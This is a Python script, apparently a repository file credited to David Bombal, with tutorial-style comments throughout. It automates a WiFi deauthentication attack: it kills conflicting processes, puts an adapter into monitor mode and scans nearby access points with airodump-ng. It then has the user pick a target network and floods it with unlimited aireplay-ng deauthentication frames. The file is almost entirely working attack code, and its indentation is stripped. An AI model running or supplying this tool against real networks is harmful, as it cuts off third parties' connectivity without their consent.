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Create wifi_dos_type1.py
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‎wifi_dos_type1.py

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# We will be using the subprocess module to run commands on Kali Linux.
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import subprocess
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# We require regular expressions.
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import re
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# We want to open the CSV files generated by airmon-ng,
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# and we'll use the built-in csv module.
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import csv
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# We want to import os because we want to check for sudo
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import os
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# We want to use time.sleep()
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import time
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# We want to move .csv files in the folder if we found any.
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# We'll use shutil for that.
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import shutil
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# Create a timestamp for .csv filename
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from datetime import datetime
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# Create an empty list
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active_wireless_networks = []
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# We use this function to test if the ESSID is already in the list file.
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# If so we return False so we don't add it again.
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# If it is not in the lst we return True which will instruct the elif
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# statement to add it to the lst.
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def check_for_essid(essid, lst):
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check_status = True
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# If no ESSIDs in list add the row
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if len(lst) == 0:
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return check_status
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# This will only run if there are wireless access points in the list.
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for item in lst:
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# If True don't add to list. False will add it to list
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if essid in item["ESSID"]:
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check_status = False
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return check_status
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# Basic user interface header
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print(r"""______ _ _ ______ _ _
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| _ \ (_) | | | ___ \ | | | |
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| | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| |
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| | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | |
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| |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | |
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|___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""")
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print("\n****************************************************************")
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print("\n* Copyright of David Bombal, 2021 *")
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print("\n* https://www.davidbombal.com *")
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print("\n* https://www.youtube.com/davidbombal *")
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print("\n****************************************************************")
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# If the user doesn't run the program with super user privileges, don't allow them to continue.
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if not 'SUDO_UID' in os.environ.keys():
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print("Try running this program with sudo.")
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exit()
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# Remove .csv files before running the script.
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for file_name in os.listdir():
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# We should only have one csv file as we delete them from the folder
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# every time we run the program.
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if ".csv" in file_name:
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print("There shouldn't be any .csv files in your directory. We found .csv files in your directory and will move them to the backup directory.")
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# We get the current working directory.
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directory = os.getcwd()
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try:
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# We make a new directory called /backup
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os.mkdir(directory + "/backup/")
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except:
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print("Backup folder exists.")
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# Create a timestamp
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timestamp = datetime.now()
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# We move any .csv files in the folder to the backup folder.
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shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name)
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# Regex to find wireless interfaces. We're making the assumption they will all be wlan0 or higher.
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wlan_pattern = re.compile("^wlan[0-9]+")
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# Python allows is to run system commands by using a function provided by the subprocess module.
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# subprocess.run(<list of command line arguments goes here>)
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# The script is the parent process and creates a child process which runs the system command,
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# and will only continue once the child process has completed.
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# We run the iwconfig command to look for wireless interfaces.
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check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode())
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# No WiFi Adapter connected.
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if len(check_wifi_result) == 0:
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print("Please connect a WiFi adapter and try again.")
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exit()
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# Menu to select WiFi interface from
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print("The following WiFi interfaces are available:")
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for index, item in enumerate(check_wifi_result):
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print(f"{index} - {item}")
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# Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from.
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while True:
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wifi_interface_choice = input("Please select the interface you want to use for the attack: ")
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try:
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if check_wifi_result[int(wifi_interface_choice)]:
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break
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except:
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print("Please enter a number that corresponds with the choices available.")
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# For easy reference we call the selected interface hacknic
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hacknic = check_wifi_result[int(wifi_interface_choice)]
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# Tell the user we're going to kill the conflicting processes.
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print("WiFi adapter connected!\nNow let's kill conflicting processes:")
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# subprocess.run(<list of command line arguments goes here>)
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# The script is the parent process and creates a child process which runs the system command,
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# and will only continue once the child process has completed.
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# We run the iwconfig command to look for wireless interfaces.
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# Killing all conflicting processes using airmon-ng
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kill_confilict_processes = subprocess.run(["sudo", "airmon-ng", "check", "kill"])
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# Put wireless in Monitor mode
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print("Putting Wifi adapter into monitored mode:")
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put_in_monitored_mode = subprocess.run(["sudo", "airmon-ng", "start", hacknic])
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# subprocess.Popen(<list of command line arguments goes here>)
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# The Popen method opens a pipe from a command.
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# The output is an open file that can be accessed by other programs.
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# We run the iwconfig command to look for wireless interfaces.
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# Discover access points
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discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", check_wifi_result[0] + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
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# Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c.
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try:
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while True:
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# We want to clear the screen before we print the network interfaces.
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subprocess.call("clear", shell=True)
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for file_name in os.listdir():
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# We should only have one csv file as we backup all previous csv files from the folder every time we run the program.
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# The following list contains the field names for the csv entries.
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fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key']
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if ".csv" in file_name:
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with open(file_name) as csv_h:
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# This will run multiple times and we need to reset the cursor to the beginning of the file.
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csv_h.seek(0)
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# We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above.
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# This creates a list of dictionaries with the keys as specified in the fieldnames.
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csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames)
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for row in csv_reader:
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# We want to exclude the row with BSSID.
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if row["BSSID"] == "BSSID":
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pass
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# We are not interested in the client data.
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elif row["BSSID"] == "Station MAC":
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break
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# Every field where an ESSID is specified will be added to the list.
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elif check_for_essid(row["ESSID"], active_wireless_networks):
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active_wireless_networks.append(row)
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print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n")
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print("No |\tBSSID |\tChannel|\tESSID |")
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print("___|\t___________________|\t_______|\t______________________________|")
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for index, item in enumerate(active_wireless_networks):
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# We're using the print statement with an f-string.
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# F-strings are a more intuitive way to include variables when printing strings,
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# rather than ugly concatenations.
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print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}")
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# We make the script sleep for 1 second before loading the updated list.
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time.sleep(1)
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except KeyboardInterrupt:
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print("\nReady to make choice.")
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# Ensure that the input choice is valid.
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while True:
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# If you don't make a choice from the options available in the list,
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# you will be asked to please try again.
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choice = input("Please select a choice from above: ")
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try:
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if active_wireless_networks[int(choice)]:
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break
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except:
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print("Please try again.")
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# To make it easier to work with and read the code, we assign the results to variables.
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hackbssid = active_wireless_networks[int(choice)]["BSSID"]
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hackchannel = active_wireless_networks[int(choice)]["channel"].strip()
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# Change to the channel we want to perform the DOS attack on.
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# Monitoring takes place on a different channel and we need to set it to that channel.
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subprocess.run(["airmon-ng", "start", hacknic + "mon", hackchannel])
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# Deauthenticate clients using a subprocess.
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# The script is the parent process and creates a child process which runs the system command,
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# and will only continue once the child process has completed.
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subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)] + "mon"])
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# User will need to use control-c to break the script.
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